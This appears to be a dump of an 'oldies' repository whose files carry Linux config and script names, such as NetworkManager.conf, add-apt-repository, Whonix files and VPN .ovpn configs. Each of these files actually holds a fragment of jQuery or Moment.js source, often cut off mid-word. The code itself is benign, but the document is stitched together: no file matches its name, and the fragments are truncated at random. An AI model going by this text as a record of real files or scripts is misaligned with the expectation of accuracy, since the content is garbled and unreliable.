-------------------------------------------------------------------------------- /oldies/assets/NetworkManager.conf: -------------------------------------------------------------------------------- 1 | d = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName( tag || "*" ) : 2 | typeof context.querySelectorAll !== strundefined ? context.querySelectorAll( tag || "*" ) : 3 | undefined; 4 | 5 | if ( !found ) { 6 | for ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) { 7 | if ( !tag || jQuery.nodeName( elem, tag ) ) { 8 | found.push( elem ); 9 | -------------------------------------------------------------------------------- /oldies/assets/add-apt-repository: -------------------------------------------------------------------------------- 1 | .checked = src.checked; 2 | 3 | // IE6-7 get confused and end up setting the value of a cloned 4 | // checkbox/radio button to an empty string instead of "on" 5 | if ( dest.value !== src.value ) { 6 | dest.value = src.value; 7 | } 8 | 9 | // IE6-8 fails to return the selected option to the default selected 10 | // state when cloning options 11 | } else if ( nodeName === "option" ) { 12 | dest.defaultSelected = dest.selected = src.defaultSelected; 13 | 14 | // IE6-8 fails to set the defaultValue to the correct value when 15 | // cloning other types of input fields 16 | } else if ( nodeName === "input" || nodeName === "textarea" ) { 17 | dest.defaultValue = src.defaultValue; 18 | } 19 | } 20 | 21 | jQuery.extend({ 22 | clone: function( elem, dataAndEvents, deepDataAndEvents ) { 23 | var destElements, node, clone, i, srcElements, 24 | inPa -------------------------------------------------------------------------------- /oldies/assets/add-apt-repository-ubuntu: -------------------------------------------------------------------------------- 1 | jQuery.nodeName( (tbody = elem.childNodes[j]), "tbody" ) && !tbody.childNodes.length ) { 2 | elem.removeChild( tbody ); 3 | } 4 | } 5 | } 6 | 7 | jQuery.merge( nodes, tmp.childNodes ); 8 | 9 | // Fix #12392 for WebKit and IE > 9 10 | tmp.textContent = ""; 11 | 12 | // Fix #12392 for oldIE 13 | while ( tmp.firstChild ) { 14 | tmp.removeChild( tmp.firstChild ); 15 | } 16 | 17 | // Remember the top-level container for proper cleanup 18 | tmp = safe.lastChild; 19 | } 20 | } 21 | } 22 | 23 | // Fix #11356: Clear elements from fragment 24 | if ( tmp ) { 25 | safe.removeChild( tmp ); 26 | } 27 | 28 | // Reset defaultChecked for any radios and checkboxes 29 | // about to be appended to the DOM in IE 6/7 (#8060) 30 | if ( !support.appendChecked ) { 31 | jQuery.grep( getAll( nodes, -------------------------------------------------------------------------------- /oldies/assets/htoprc: -------------------------------------------------------------------------------- 1 | ngth = gotoEnd ? animation.tweens.length : 0; 2 | if ( stopped ) { 3 | return this; 4 | } 5 | stopped = true; 6 | for ( ; index < length ; index++ ) { 7 | animation.tweens[ index ].run( 1 ); 8 | } 9 | 10 | // resolve when we played the last frame 11 | // otherwise, reject 12 | if ( gotoEnd ) { 13 | deferred.resolveWith( elem, [ animation, gotoEnd ] ); 14 | } else { 15 | deferred.rejectWith( elem, [ animation, gotoEnd ] ); 16 | } 17 | return this; 18 | } 19 | }), 20 | props = animation.props; 21 | 22 | propFilter( props, animation.opts.specialEasing ); 23 | 24 | for ( ; index < length ; index++ ) { 25 | result = animationPrefilters[ index ].call( animation, elem, props, animation.opts ); 26 | if ( result ) { 27 | r -------------------------------------------------------------------------------- /oldies/assets/sources.list: -------------------------------------------------------------------------------- 1 | && data[ index ].stop ) { 2 | stopQueue( data[ index ] ); 3 | } 4 | } else { 5 | for ( index in data ) { 6 | if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { 7 | stopQueue( data[ index ] ); 8 | } 9 | } 10 | } 11 | 12 | for ( index = timers.length; index--; ) { 13 | if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) { 14 | timers[ index ].anim.stop( gotoEnd ); 15 | dequeue = false; 16 | timers.splice( index, 1 ); 17 | } 18 | } 19 | 20 | // start the next in the queue if the last step wasn't forced 21 | // timers currently will call their complete callbacks, which will dequeue 22 | // but only if they were gotoEnd 23 | if -------------------------------------------------------------------------------- /oldies/assets/userdir.conf: -------------------------------------------------------------------------------- 1 | .createElement("select"); 2 | opt = select.appendChild( document.createElement("option") ); 3 | input = div.getElementsByTagName("input")[ 0 ]; 4 | 5 | a.style.cssText = "top:1px"; 6 | 7 | // Test setAttribute on camelCase class. If it works, we need attrFixes when doing get/setAttribute (ie6/7) 8 | support.getSetAttribute = div.className !== "t"; 9 | 10 | // Get the style information from getAttribute 11 | // (IE uses .cssText instead) 12 | support.style = /top/.test( a.getAttribute("style") ); 13 | 14 | // Make sure that URLs aren't mani -------------------------------------------------------------------------------- /oldies/assets/whonix-interfaces: -------------------------------------------------------------------------------- 1 | p" ) ) ) { 2 | 3 | // Get the specific value for the option 4 | value = jQuery( option ).val(); 5 | 6 | // We don't need an a -------------------------------------------------------------------------------- /oldies/assets/whonix-resolv.conf: -------------------------------------------------------------------------------- 1 | for explanation of this -------------------------------------------------------------------------------- /oldies/bash-helper-scripts/terminal-emulator/x-terminal-emulator: -------------------------------------------------------------------------------- 1 | ions = {}; 2 | 3 | var formatToken -------------------------------------------------------------------------------- /oldies/bash-helper-scripts/xclip/xclip_alias: -------------------------------------------------------------------------------- 1 | n (token, config) { 2 | if (!hasOwnProp(regexes, token)) { 3 | return new -------------------------------------------------------------------------------- /oldies/cleaning-scripts/remove-old-kernels: -------------------------------------------------------------------------------- 1 | locale).match(formattingTokens) || []; 2 | 3 | for (i = 0; i < tokens.length; i++) { 4 | token = tokens[i]; 5 | parsedInput = (string.match(getParseRegexForToken(token, config)) || [])[0]; 6 | if (parsedInput) { 7 | skipped = string.substr(0, string.indexOf(parsedInput)); 8 | if (skipped.length > 0) { 9 | getParsingFlags(config).unusedInput.push(skipped); 10 | } 11 | string = string.slice(string.indexOf(parsedInput) + parsedInput.length); 12 | totalParsedInputLength += parsedInput.length; 13 | } 14 | // don't parse if it's not a known token 15 | if (formatTokenFunctions[token]) { 16 | if (parsedInput) { 17 | getParsingFlags(config).empty = false; 18 | } 19 | else { 20 | getParsingFlags(config).unusedTokens.push(token); 21 | } 22 | addTimeToArrayFromToken(token, parsedInput, config); 23 | } 24 | else if (config._strict && !parsedInput) { 25 | getParsingFlags(config).unusedTokens.push(token); 26 | } 27 | } 28 | 29 | // add remaining unparsed input length to the string 30 | getParsingFlags(config).charsLeftOver = stringLength - totalParsedInputLength; 31 | if (string.length > 0) { 32 | getParsingFlags(config).unusedInput.push(string); 33 | } 34 | 35 | // clear _12h flag if hour is <= 12 36 | if (getParsingFlags(config).bigHour === true && 37 | config._a[HOUR] <= 12 && 38 | config._a[HOUR] > 0) { 39 | getParsingFlags -------------------------------------------------------------------------------- /oldies/cleaning-scripts/solid-scan: -------------------------------------------------------------------------------- 1 | n pickBy('isBefore', args); 2 | } 3 | 4 | function max () { 5 | var args = [].slice.call(arguments, 0); 6 | 7 | return pickBy('isAfter', args); 8 | } 9 | 10 | function Duration (duration) { 11 | var normalizedInput = normalizeObjectUnits(duration), 12 | years = normalizedInput.year || 0, 13 | quarters = normalizedInput.quarter || 0, 14 | months = normalizedInput.month || 0, 15 | weeks = normalizedInput.week || 0, 16 | days = normalizedInput.day || 0, 17 | hours = normalizedInput.hour || 0, 18 | minutes = normalizedInput.minute || 0, 19 | seconds = normalizedInput.second || 0, 20 | milliseconds = normalizedInput.millisecond || 0; 21 | 22 | // representation for dateAddRemove 23 | this._milliseconds = +milliseconds + 24 | seconds * 1e3 + // 1000 25 | minutes * 6e4 + // 1000 * 60 26 | hours * 36e5; // 1000 * 60 * 60 27 | // Because of dateAddRemove treats 24 hours as different from a 28 | // day when working around DST, we need to store them separately 29 | this._days = +days + 30 | weeks * 7; 31 | // It is impossible translate months into days without knowing 32 | // which months you are are talking about, so we have to store 33 | // it separately. 34 | this._months = +months + 35 | quarters * 3 + 36 | years * 12; 37 | 38 | this._data = {}; 39 | 40 | this._locale = locale_locales__getLocale(); 41 | 42 | this._bubble(); 43 | } 44 | 45 | function isDuration (obj) { 46 | return obj instanceof Duration; 47 | } 48 | 49 | function offset (token, separator) { 50 | addFormatToken(token, 0, 0, function () { 51 | var offset = this.utcOffset(); 52 | var sign = '+'; 53 | if (offset < 0) { 54 | offset = -offset; 55 | sign = '-'; 56 | } 57 | return sign + zeroFill(~~(offset / 60), 2) + separator + zeroFill(~~(offset) % 60, 2); 58 | }); 59 | } 60 | 61 | offset('Z', ':'); 62 | offset('ZZ', ''); 63 | 64 | // PARSING 65 | 66 | addRegexToken('Z', matchOffset); 67 | addRegexToken('ZZ', matchOffset); 68 | addParseToken(['Z', 'ZZ'], function (input, array, config) { 69 | config._useUTC = true; 70 | config._tzm = offsetFromString(input); 71 | }); 72 | 73 | // HELPERS 74 | 75 | // timezone chunker 76 | // '+10:00' > ['10', '00'] 77 | // '-1530' > ['-15', '30'] 78 | var chunkOffset = /([\+\-]|\d\d)/gi; 79 | 80 | function offsetFromString(string) { 81 | var matches = ((string || '').match(matchOffset) || []); 82 | var chunk = matches[matches.length -------------------------------------------------------------------------------- /oldies/configuration-scripts/assets/whonix-interfaces: -------------------------------------------------------------------------------- 1 | 2 | // matching against regexp is expensive, do it on demand 3 | match = null, 4 | sign, 5 | -------------------------------------------------------------------------------- /oldies/configuration-scripts/assets/whonix-resolv.conf: -------------------------------------------------------------------------------- 1 | days = duration -------------------------------------------------------------------------------- /oldies/configuration-scripts/check-read-write-speed: -------------------------------------------------------------------------------- 1 | // difference in months 2 | var wholeMonthDiff = ((b.year() - a.year()) * 12) + (b.month() - a.month()), 3 | // b is in (anchor - 1 month, anchor + 1 month) 4 | anchor = a.clone().add(wholeMonthDiff, 'months'), 5 | anchor2, adjust; 6 | 7 | if (b - anchor -------------------------------------------------------------------------------- /oldies/configuration-scripts/dkms-mt7601.PKGBUILD: -------------------------------------------------------------------------------- 1 | this.day() || 7 : this.day(this.day() % 7 ? input : input - 7); 2 | } 3 | 4 | addFormatToken('H', ['HH', 2], 0, 'hour'); 5 | addFormatToken('h', ['hh', 2], 0, function () { 6 | return this.hours() % 12 || 12; 7 | }); 8 | 9 | function meridiem (token, lowercase) { 10 | addFormatToken(token, 0, 0, function () { 11 | return this.localeData().meridiem(this.hours(), this.minutes(), lowercase); 12 | }); 13 | } 14 | 15 | meridiem('a', true); 16 | meridiem('A', false); 17 | 18 | // ALIASES 19 | 20 | addUnitAlias('hour', 'h'); 21 | 22 | // PARSING 23 | 24 | function matchMeridiem (isStrict, locale) { 25 | return locale._meridiemParse; 26 | } 27 | 28 | addRegexToken('a', matchMeridiem); 29 | addRegexToken('A', matchMeridiem); 30 | addRegexToken('H', match1to2); 31 | addRegexToken('h', match1to2); 32 | addRegexToken('HH', match1to2, match2); 33 | addRegexToken('hh', match1to2, match2); 34 | 35 | addParseToken(['H', 'HH'], HOUR); 36 | addParseToken(['a', 'A'], function (input, array, config) { 37 | config._isPm = config._locale.isPM(input); 38 | config._meridiem = input; 39 | }); 40 | addParseToken(['h', 'hh'], function (input, array, config) { 41 | array[HOUR] = toInt(input); 42 | getParsingFlags(config).bigHour = true; 43 | }); 44 | 45 | // LOCALES 46 | 47 | function localeIsPM (input) { 48 | // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays 49 | // Using charAt should be more compatible. 50 | return ((input + '').toLowerCase().charAt(0) === 'p'); 51 | } 52 | 53 | var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i; 54 | function localeMeridiem (hours, minutes, isLower) { 55 | -------------------------------------------------------------------------------- /oldies/configuration-scripts/install-apt-fast: -------------------------------------------------------------------------------- 1 | // MOMENTS 2 | 3 | var getSetMillis -------------------------------------------------------------------------------- /oldies/configuration-scripts/lcd-essentials: -------------------------------------------------------------------------------- 1 | fix) { 2 | var locale = this.localeData(); 3 | var output = duration_humanize__relativeTime(this, !withSuffix, locale); 4 | 5 | if (withSuffix) { 6 | output = locale.pastFuture(+this, output); 7 | } 8 | 9 | return locale.postformat(output); 10 | } 11 | 12 | v -------------------------------------------------------------------------------- /oldies/configuration-scripts/setup-lcd-3.5: -------------------------------------------------------------------------------- 1 | imports 2 | 3 | addFormatToken('X', 0, 0, 'unix'); 4 | addFormatToken('x', 0, 0, 'valueOf'); 5 | 6 | // PARSING 7 | 8 | addRegexToken('x', matchSigned); 9 | addRegexToken('X', matchTimestamp); 10 | addParseToken('X', function -------------------------------------------------------------------------------- /oldies/configuration-scripts/setup-screenfetch: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /oldies/configuration-scripts/whonix-url: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /oldies/git-helper-scripts/test-github: -------------------------------------------------------------------------------- 1 | , 2 | 3 | // For internal use only. 4 | // Behaves like an Array's method, not like a jQuery method. 5 | push: core_push, 6 | sort: [].sort, 7 | splice: [].splice 8 | }; 9 | 10 | // Give the init function the jQuery prototype for later instantiation 11 | jQuery.fn.init.prototype = jQuery.fn; 12 | 13 | jQuery.extend = jQuery.fn.extend = function() { 14 | var src, copyIsArray, copy, name, options, clone, 15 | target = arguments[0] || {}, 16 | i = 1, 17 | length = arguments.length, 18 | deep = false; 19 | 20 | // Handle a deep copy situation 21 | if ( typeof target === "boolean" ) { 22 | deep = target; 23 | target = arguments[1] || {}; 24 | // skip the boolean and the target 25 | i = 2; 26 | } 27 | 28 | // Handle case when target is a string or something (possible in deep copy) 29 | if ( typeof target !== "object" && !jQuery.isFunction(target) ) { 30 | target = {}; 31 | } 32 | 33 | // extend jQuery itself if only one argument is passed 34 | if ( length === i ) { 35 | target = this; 36 | --i; 37 | } 38 | 39 | for ( ; i < length; i++ ) { 40 | // Only deal with non-null/undefined values 41 | if ( (options = arguments[ i ]) != null ) { 42 | // Extend the base object 43 | for ( name in options ) { 44 | src = target[ name ]; 45 | copy = options[ name ]; 46 | 47 | // Prevent never-ending loop 48 | if ( target === copy ) { 49 | continue; 50 | } 51 | 52 | // Recurse if we're merging plain objects or arrays 53 | if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { 54 | if ( copyIsArray ) { 55 | copyIsArray = false; 56 | clone = src && jQuery.isArray(src) ? src : []; 57 | 58 | } else { 59 | clone = src && jQuery.isPlainObject(src) ? src : {}; 60 | } 61 | 62 | // Never move original objects, clone them 63 | target[ name ] = jQuery.extend( deep, clone, copy ); 64 | 65 | // Don't bring in undefined values 66 | } else if ( copy !== undefined ) { 67 | target[ name ] = copy; 68 | } 69 | } 70 | } 71 | } 72 | 73 | // Return the modified object 74 | return target; 75 | }; 76 | 77 | jQuery.extend({ 78 | noConflict: function( deep ) { 79 | if ( window.$ === jQuery ) { 80 | window.$ = _$; 81 | } 82 | 83 | if ( deep && window.jQuery === jQuery ) { 84 | window.jQuery = _jQuery; 85 | } 86 | 87 | r -------------------------------------------------------------------------------- /oldies/in-progress/create-newuser-INCOMPLETE.sh: -------------------------------------------------------------------------------- 1 | ell 2 | if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { 3 | return false; 4 | } 5 | 6 | try { 7 | // Not own constructor property must be Object 8 | if ( obj.constructor && 9 | !core_hasOwn.call(obj, "constructor") && 10 | !core_hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) { 11 | return false; 12 | } 13 | } catch ( e ) { 14 | // IE8,9 Will throw exceptions on certain host objects #9897 15 | return false; 16 | } 17 | 18 | // Own properties are enumerated firstly, so to speed up, 19 | // if last one is own, then all properties are own. 20 | 21 | var key; 22 | for ( key in obj ) {} 23 | 24 | return key === undefined || core_hasOwn.call( obj, key ); 25 | }, 26 | 27 | isEmptyObject: function( obj ) { 28 | var name; 29 | for ( name in obj ) { 30 | return false; 31 | } 32 | return true; 33 | }, 34 | 35 | error: function( msg ) { 36 | throw new Error( msg ); 37 | }, 38 | 39 | // data: string of html 40 | // context (optional): If specified, the fragment will be created in this context, defaults to document 41 | // keepScripts (optional): If true, will include scripts passed in the html string 42 | parseHTML: function( data, context, keepScripts ) { 43 | if ( !data || typeof data !== "string" ) { 44 | return null; 45 | } 46 | if ( typeof context === "boolean" ) { 47 | keepScripts = context; 48 | context = false; 49 | } 50 | context = context || document; 51 | 52 | var parsed = rsingleTag.exec( data ), 53 | scripts = !keepScripts && []; 54 | 55 | // Single tag 56 | if ( parsed ) { 57 | return [ context.createElement( parsed[1] ) ]; 58 | } 59 | 60 | parsed = jQuery.buildFragment( [ data ], context, scripts ); 61 | if ( scripts ) { 62 | jQuery( scripts ).remove(); 63 | } 64 | return jQuery.merge( [], parsed.childNodes ); 65 | }, 66 | 67 | parseJSON: function( data ) { 68 | // Attempt to parse using the native JSON parser first 69 | if ( window.JSON && window.JSON.parse ) { 70 | return window.JSON.parse( data ); 71 | } 72 | 73 | if ( data === null ) { 74 | return data; 75 | } 76 | 77 | if ( typeof data === "string" ) { 78 | 79 | -------------------------------------------------------------------------------- /oldies/in-progress/enable-autologin-INCOMPLETE.sh: -------------------------------------------------------------------------------- 1 | i ], args ); 2 | 3 | if ( value === false ) { 4 | break; 5 | } 6 | } 7 | } else { 8 | for ( i in obj ) { 9 | value = callback.apply( -------------------------------------------------------------------------------- /oldies/in-progress/raspberry-pi/forceWifi: -------------------------------------------------------------------------------- 1 | * 2 | * Possible options: 3 | * 4 | * once: will ensure the callback list can only be fired once (like a Deferred) 5 | * 6 | * memory: will keep track of p -------------------------------------------------------------------------------- /oldies/in-progress/raspberry-pi/led_show.py: -------------------------------------------------------------------------------- 1 | ; 2 | }, 3 | // Call all callbacks with the given context and arguments 4 | fireWith: function( context, args ) { 5 | args = args || []; 6 | args = [ context, args.slice ? args.slice() : args ]; 7 | if ( list && ( !fired || stack ) ) { 8 | if ( firing ) { 9 | stack.push( args ); 10 | } else { 11 | fire( args ); 12 | } 13 | } 14 | return this; 15 | }, 16 | // Call all the callbacks with the given arguments 17 | fire: function() { 18 | self.fireWith( this, arguments ); 19 | return this; 20 | }, 21 | // To know if the callbacks have already been called at least once 22 | fired: function() { 23 | return !!fired; 24 | } 25 | }; 26 | 27 | return self; 28 | }; 29 | jQuery.extend({ 30 | 31 | Deferred: function( func ) { 32 | var tuples = [ 33 | // action, add listener, listener list, final state 34 | [ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ], 35 | [ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ], 36 | [ "notify", "progress", jQuery.Callbacks("memory") ] 37 | ], 38 | state = "pending", 39 | promise = { 40 | state: function() { 41 | return state; 42 | }, 43 | always: function() { 44 | deferred.done( arguments ).fail( arguments ); 45 | return this; 46 | }, 47 | then: function( /* fnDone, fnFail, fnProgress */ ) { 48 | var fns = arguments; 49 | return jQuery.Deferred(function( newDefer ) { 50 | jQuery.each( tuples, function( i, tuple ) { 51 | var action = tuple[ 0 ], 52 | fn = jQuery.isFunction( fns[ i ] ) && fns[ i ]; 53 | // deferred[ done | fail | progress ] for forwarding actions to newDefer 54 | deferred[ tuple[1] ](function() { 55 | var returned = fn && fn.apply( this, arguments ); 56 | if ( returned && jQuery.isFunction( returned.promise ) ) { 57 | returned.promise() 58 | .done( newDefer.resolve ) 59 | .fail( newDefer.reject ) 60 | .progress( newDefer.notify ); 61 | } else { 62 | newDefer[ action + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); 63 | } 64 | }); 65 | }); 66 | fns = null; 67 | }).promise(); 68 | }, 69 | // Get a promise for this deferred 70 | // If obj is provided, the promise aspect is added to the object 71 | promise: function( obj ) { 72 | return obj != null ? jQuery.extend( obj, promise ) : promise; 73 | } 74 | }, 75 | deferred = {}; 76 | 77 | // Keep pipe for back-compat 78 | promise.pipe = promise.then; 79 | 80 | // Add list-specific methods 81 | jQuery.each( tuples, function( i, tuple ) { 82 | var list = tuple[ 2 ], 83 | stateString = tuple[ 3 ]; 84 | 85 | // promise[ done | fail | progress -------------------------------------------------------------------------------- /oldies/in-progress/raspberry-pi/setup-pifacedigital: -------------------------------------------------------------------------------- 1 | deferred.resolveWith( contexts, values ); 2 | } 3 | }; 4 | }, 5 | 6 | progressValues, progressContexts, resolveContexts; 7 | 8 | // add listeners to Deferred subordinates; treat others as resolved 9 | if ( length > 1 ) { 10 | progressValues = new Array( length ); 11 | progressContexts = new Array( length ); 12 | resolveContexts = new Array( length ); 13 | for ( ; i < length; i++ ) { 14 | if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) { 15 | resolveValues[ i ].promise() 16 | .done( updateFunc( i, resolveContexts, resolveValues ) ) 17 | .fail -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Canada.ovpn: -------------------------------------------------------------------------------- 1 | { 2 | support.deleteExpando = false; 3 | } 4 | 5 | // Check if we can trust getAttribute("value") 6 | input = document.createElement("input"); 7 | input.setAttribute( "value", "" ); 8 | support.input = input.getAttribute( "value" ) === ""; 9 | 10 | // Check if an input maintains its value after becoming a radio 11 | input.value = "t"; 12 | input.setAttribute( "type", "radio" ); 13 | support.radioValue = input.value === "t"; 14 | 15 | // #11217 - WebKit loses check when the name is after the checked attribute 16 | input.setAttribute( "checked", "t" ); 17 | input.setAttribute( "name", "t" ); 18 | 19 | fragment = document.createDocumentFragment(); 20 | fragment.appendChild( input ); 21 | 22 | // Check if a disconnected checkbox will retain its checked 23 | // value of true after appended to the DOM (IE6/7) 24 | support.appendChecked = input.checked; 25 | 26 | // WebKit doesn't clone checked state correctly in fragments 27 | support.checkClone = fragment.cloneNode( true ).cloneNode( true ).lastChild.checked; 28 | 29 | // Support: IE<9 30 | // Opera does not clone events (and typeof div.attachEvent === undefined). 31 | // IE9-10 clones events bound via attachEvent, but they don't trigger with .click() 32 | if ( div.attachEvent ) { 33 | div.attachEvent( "onclick", function() { 34 | support.noCloneEvent = false; 35 | }); 36 | 37 | div.cloneNode( true ).click(); 38 | } 39 | 40 | // Support: IE<9 (lack submit/change bubble), Firefox 17+ (lack focusin event) 41 | // Beware of CSP restrictions (https://developer.mozilla.org/en/Security/CSP), test/csp.php 42 | for ( i in { submit: true, change: true, focusin: true }) { 43 | div.setAttribute( eventName = "on" + i, "t" ); 44 | 45 | support[ i + "Bubbles" ] = eventName in window || div.attributes[ eventName ].expando === false; 46 | } 47 | 48 | div.style.backgroundClip = "content-box"; 49 | div.cloneNode( true ).style.backgroundClip = ""; 50 | support.clearCloneStyle = div.style.backgroundClip === "content-box"; 51 | 52 | // Run tests that need a body at doc ready 53 | jQuery(function() { 54 | var container, marginDiv, tds, 55 | divReset = "padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;", 56 | body = document.getElementsByTagName("body")[0]; 57 | 58 | if ( !body ) { 59 | // Return for frameset docs that don't have a body 60 | return; 61 | } 62 | 63 | container = document.createElement("div"); 64 | container.style.cssText = "border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px"; 65 | 66 | body.appendChild( container ).appendChild( div ); 67 | 68 | // Support: IE8 69 | // Check if table cells still have offsetWidth/Height when they are set 70 | // to display:none and there are still other visible table cells in -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/France.ovpn: -------------------------------------------------------------------------------- 1 | width of container. (#3333) 2 | // Fails in WebKit before Feb 2011 nightlies 3 | // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right 4 | marginDiv = div.appendChild( document.createElement("div") ); 5 | marginDiv.style.cssText = div.style.cssText = divReset; 6 | marginDiv.style.marginRight = marginDiv.style.width = "0"; 7 | div.style.width = "1px"; 8 | 9 | support.reliableMarginRight = 10 | !parseFloat( ( window.getComputedStyle( marginDiv, null ) || {} ).marginRight ); 11 | } 12 | 13 | if ( typeof div.style.zoom !== core_strundefined ) { 14 | // Support: IE<8 15 | // Check if natively block-level elements act like inline-block 16 | // elements when setting their display to 'inline' and giving 17 | // them layout 18 | div.innerHTML = ""; 19 | div.style.cssText = divReset + "width:1px;padding:1px;display:inline;zoom:1"; 20 | support.inlineBlockNeedsLayout = ( div.offsetWidth === 3 ); 21 | 22 | // Support: IE6 23 | // Check if elements with layout shrink-wrap their children 24 | div.style.display = "block"; 25 | div.innerHTML = "
"; 26 | div.firstChild.style.width = "5px"; 27 | support.shrinkWrapBlocks = ( div.offsetWidth !== 3 ); 28 | 29 | if ( support.inlineBlockNeedsLayout ) { 30 | // Prevent IE 6 from affecting layout for positioned elements #11048 31 | // Prevent IE from shrinking the body in IE 7 mode #12869 32 | // Support: IE<8 33 | body.style.zoom = 1; 34 | } 35 | } 36 | 37 | body.removeChild( container ); 38 | 39 | // Null elements to avoid leaks in IE 40 | container = div = tds = marginDiv = null; 41 | }); 42 | 43 | // Null elements to avoid leaks in IE 44 | all = select = fragment = opt = a = input = null; 45 | 46 | return support; 47 | })(); 48 | 49 | var rbrace = /(?:\{[\s\S]*\}|\[[\s\S]*\])$/, 50 | rmultiDash = /([A-Z])/g; 51 | 52 | function internalData( elem, name, data, pvt /* Internal Use Only */ ){ 53 | if ( !jQuery.acceptData( elem ) ) { 54 | return; 55 | } 56 | 57 | var thisCache, ret, 58 | internalKey = jQuery.expando, 59 | getByName = typeof name === "string", 60 | 61 | // We have to handle DOM nodes and JS objects differently because IE6-7 62 | // can't GC object references properly across the DOM-JS boundary 63 | isNode = elem.nodeType, 64 | 65 | // Only DOM nodes need the global jQuery cache; JS object data is 66 | // attached directly to the object so GC can occur automatically 67 | cache = isNode ? jQuery.cache : elem, 68 | 69 | // Only defining an ID for JS objects if its cache already exists allows 70 | // the code to shortcut on the same path as a DOM node with no cache 71 | id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey; 72 | 73 | // Avoid doing any more work than we need to when trying to get data on an 74 | // object that ha -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Germany.ovpn: -------------------------------------------------------------------------------- 1 | for null|undefined property data 2 | if ( ret == null ) { 3 | 4 | // Try to find the camelCased property 5 | ret = thisCache[ jQuery.camelCase( name ) ]; 6 | } 7 | } else { 8 | ret = thisCache; 9 | } 10 | 11 | return ret; 12 | } 13 | 14 | function internalRemoveData( elem, name, pvt ) { 15 | if ( !jQuery.acceptData( elem ) ) { 16 | return; 17 | } 18 | 19 | var i, l, thisCache, 20 | isNode = elem.nodeType, 21 | 22 | // See jQuery.data for more information 23 | cache = isNode ? jQuery.cache : elem, 24 | id = isNode ? elem[ jQuery.expando ] : jQuery.expando; 25 | 26 | // If there is already no cache entry for this object, there is no 27 | // purpose in continuing 28 | if ( !cache[ id ] ) { 29 | return; 30 | } 31 | 32 | if ( name ) { 33 | 34 | thisCache = pvt ? cache[ id ] : cache[ id ].data; 35 | 36 | if ( thisCache ) { 37 | 38 | // Support array or space separated string names for data keys 39 | if ( !jQuery.isArray( name ) ) { 40 | 41 | // try the string as a key before any manipulation 42 | if ( name in thisCache ) { 43 | name = [ name ]; 44 | } else { 45 | 46 | // split the camel cased version by spaces unless a key with the spaces exists 47 | name = jQuery.camelCase( name ); 48 | if ( name in thisCache ) { 49 | name = [ name ]; 50 | } else { 51 | name = name.split(" "); 52 | } 53 | } 54 | } else { 55 | // If "name" is an array of keys... 56 | // When data is initially created, via ("key", "val") signature, 57 | // keys will be converted to camelCase. 58 | // Since there is no way to tell _how_ a key was added, remove 59 | // both plain key and camelCase key. #12786 60 | // This will only penalize the array argument path. 61 | name = name.concat( jQuery.map( name, jQuery.camelCase ) ); 62 | } 63 | 64 | for ( i = 0, l = name.length; i < l; i++ ) { 65 | delete thisCache[ name[i] ]; 66 | } 67 | 68 | // If there is no data left in the cache, we want to continue 69 | // and let the cache object itself get destroyed 70 | if ( !( pvt ? isEmptyDataObject : jQuery.isEmptyObject )( thisCache ) ) { 71 | return; 72 | } 73 | } 74 | } 75 | 76 | // See jQuery.data for more information 77 | if ( !pvt ) { 78 | delete cache[ id ].data; 79 | 80 | // Don't destroy the parent cache unless the internal data object 81 | // had been the only thing left in it 82 | if ( !isEmptyDataObject( cache[ id ] ) ) { 83 | return; 84 | } 85 | } 86 | 87 | // Destroy the cache 88 | if ( isNode ) { 89 | jQuery.cleanData( [ elem ], true ); 90 | 91 | // Use delete when supported for expandos or `cache` is not a window per isWindow (#10080) 92 | } else if ( jQuery.support.deleteExpando || cache != cache.window ) { 93 | delete cache[ id ]; 94 | 95 | // When all else fails, null 96 | } else { 97 | cache[ id ] = null; 98 | } 99 | } 100 | 101 | jQuery.extend({ 102 | cache: {}, 103 | 104 | // Unique for each copy of jQuery on the page 105 | // No -------------------------------------------------------------------------------- /oldies/ivpn-setup/ivpn-openvpn-config/Hong Kong.ovpn: -------------------------------------------------------------------------------- 1 | elem = this[0], 2 | i = 0, 3 | data = null; 4 | 5 | // Gets all values 6 | if ( key === undefined ) { 7 | if ( this.length ) { 8 | data = jQuery.data( elem ); 9 | 10 | if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) { 11 | attrs = elem.attributes; 12 | for ( ; i < attrs.length; i++ ) { 13 | name = attrs[i].name; 14 | 15 | if ( !name.indexOf( "data-" ) ) { 16 | name = jQuery.camelCase( name.slice(5) ); 17 | 18 | dataAttr( elem, name, data[ name ] ); 19 | } 20 | } 21 | jQuery._data( elem, "parsedAttrs", true ); 22 | } 23 | } 24 | 25 | return data; 26 | } 27 | 28 | // Sets multiple values 29 | if ( typeof key === "object" ) { 30 | return this.each(function() { 31 | jQuery.data( this, key ); 32 | }); 33 | } 34 | 35 | return jQuery.access( this, function( value ) { 36 | 37 | if ( value === undefined ) { 38 | // Try to fetch any internally stored data first 39 | return elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : null; 40 | } 41 | 42 | this.each(function() { 43 | jQuery.data( this, key, value ); 44 | }); 45 | }, null, value, arguments.length > 1, null, true ); 46 | }, 47 | 48 | removeData: function( key ) { 49 | return this.each(function() { 50 | jQuery.removeData( this, key ); 51 | }); 52 | } 53 